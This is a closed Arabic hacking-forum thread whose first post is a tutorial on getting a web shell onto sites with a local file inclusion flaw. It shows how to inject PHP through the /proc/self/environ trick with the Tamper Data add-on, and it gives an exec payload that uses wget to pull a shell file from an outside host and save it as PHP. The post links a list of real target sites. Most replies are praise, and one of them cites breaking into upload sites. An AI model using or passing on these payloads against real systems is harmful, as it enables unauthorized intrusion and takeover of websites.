حالة الموضوع:
مغلق
  1. Dr.reo

    Dr.reo Developer

    الأنتساب:
    ‏6 مايو 2012
    المشاركات:
    58
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الإقامة:
    الجزائر
    [​IMG]

    كيفكم اخواني اتمنا الجميع بخير وصحة وعافية

    حبيت اطرح هاذا الشرح لجل الافادة واتمنا انه يفديكم

    المتطلبات
    1. FireFox download
    2. Tamper Data download
    والموقع المراد التطبيق علية

    انا جبت لكم كم موقع

    http://pastie.org/private/7fbtucb1obczki7nk0xvxa


    طيب نكمل

    في البداية لازم نقدر نقرى proc/self/environ

    [​IMG]


    بعد مايضبط الشغل نروح نشغل اداة تمبلر داتا


    [​IMG]

    بعد ماتشتغل معنا الاداة

    نروح لم

    [​IMG]

    بعدها نروح لم الموقع حقنا ونعمل تحديث وراح تخرج لن هل النافذة

    [​IMG]

    بعدها نروح للمربع هاذا

    [​IMG]

    [​IMG]

    في هاذا المربع وضعنا

    <?php phpinfo();?>


    عشان نقرة phpinfo ونضمن الشغل

    بعد ماتضغط اوك راح تخرج لك كم نافضة اضغط على الكل

    [​IMG]

    بعدها ماتضغط وتتخطى

    يفتح الموقع ويتم قراة phpinfo

    [​IMG]


    ومنها راح نشوف ادوال والسيف مود وغيرها امر مهم قبل رفع الشل

    [​IMG]

    <?exec('wget http://www.site.com/s h e l l.txt -O *****.php');?>

    هاذي هي الدالة exec الي راح نسخدمها لسحب الملف طبعن تقدر تغيرها اذا كانت ممنوعه
    الى chmod
    system

    ومع شوي تطوير راح تضبط

    بعدها

    نروح نشوف

    راح يفتح الموقع مثل ماكان

    طيب لما تنتهي من الحقن مثال هل الموقع
    http://www.site.com/index.php?page=/etc/passwd
    نمسح
    index.php?page=/etc/passwd

    ونحط
    http://www.site.com/s h e l l.php

    [​IMG]

    وباذن الله راح يتم الرفع الشل

    اتمنا الشرح ماهو مكرر

    اخوكم Dr.abolalh
     
    1 person likes this.
  2. Mr.L4iVe

    Mr.L4iVe Developer

    الأنتساب:
    ‏15 ديسمبر 2011
    المشاركات:
    51
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    h34rT D4t4b4s3
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data


    Tamper Data


    أداة رهيبة وممكن نتسفيد منها بشكل كبير

    في إختراق المواقع وبالأخص مراكز الرفع

    بارك الله فيك أخي ولا تحرمنا من جديدك
     
  3. black.boy

    black.boy Developer

    الأنتساب:
    ‏29 مايو 2012
    المشاركات:
    43
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    iran
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data


    شرح رووووعة يعطيك الف عافية




     
  4. قاتل مأجور

    قاتل مأجور V • I • P

    الأنتساب:
    ‏26 أكتوبر 2011
    المشاركات:
    13
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    فلسطين
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data

    السلام عليكم
    بارك الله فيك يابطل شرح رائع
    مع العلم الشرح موجود بالمنتدى طرح احد الأخوان لكن هذا لايمنعي من شكرك
    تم تقيمك قبل الرد
    بالتوفيق لك
    اخوك
     
  5. kasm

    kasm DeveloPer Plus

    الأنتساب:
    ‏6 نوفمبر 2011
    المشاركات:
    121
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    16
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data


    بارك الله فيك &:":

     
  6. RiskY

    RiskY Developer

    الأنتساب:
    ‏20 ابريل 2012
    المشاركات:
    55
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    8
    الإقامة:
    iq
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data


    تسلم ربي يخليك يا كفوووو

    لا هنت آخوي العزيز
     
  7. Assassin_Jpg

    Assassin_Jpg Developer

    الأنتساب:
    ‏2 يونيو 2012
    المشاركات:
    61
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data

    مشكووور يا حبيبي على الموضوع الرائغ
    موفقـــ&:":
     
  8. Dr.Toni

    Dr.Toni Developer

    الأنتساب:
    ‏2 يونيو 2012
    المشاركات:
    8
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الإقامة:
    آرض الله
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data


    مشڪْوَرٍ يًآغآلِيً آلِلِه يًعّطيًڪْ آلِعّآفيًة
     
  9. яднїм

    яднїм Developer

    الأنتساب:
    ‏2 يونيو 2012
    المشاركات:
    54
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    الوظيفة:
    ҢαƆк
    الإقامة:
    ♥IǾ-T34M♥
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data

    عليكم السلام و الرحمه
    بارك الله فيك
     
  10. Mr.Click

    Mr.Click Developer

    الأنتساب:
    ‏19 مايو 2012
    المشاركات:
    24
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    الوظيفة:
    مختبر ختراق !
    الإقامة:
    Dammam
    رد: رفع الشل من خلال ثغرات LFI عبر Tamper Data

    يعطيك الف عافية &:":
    تم تقييمك استمر
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة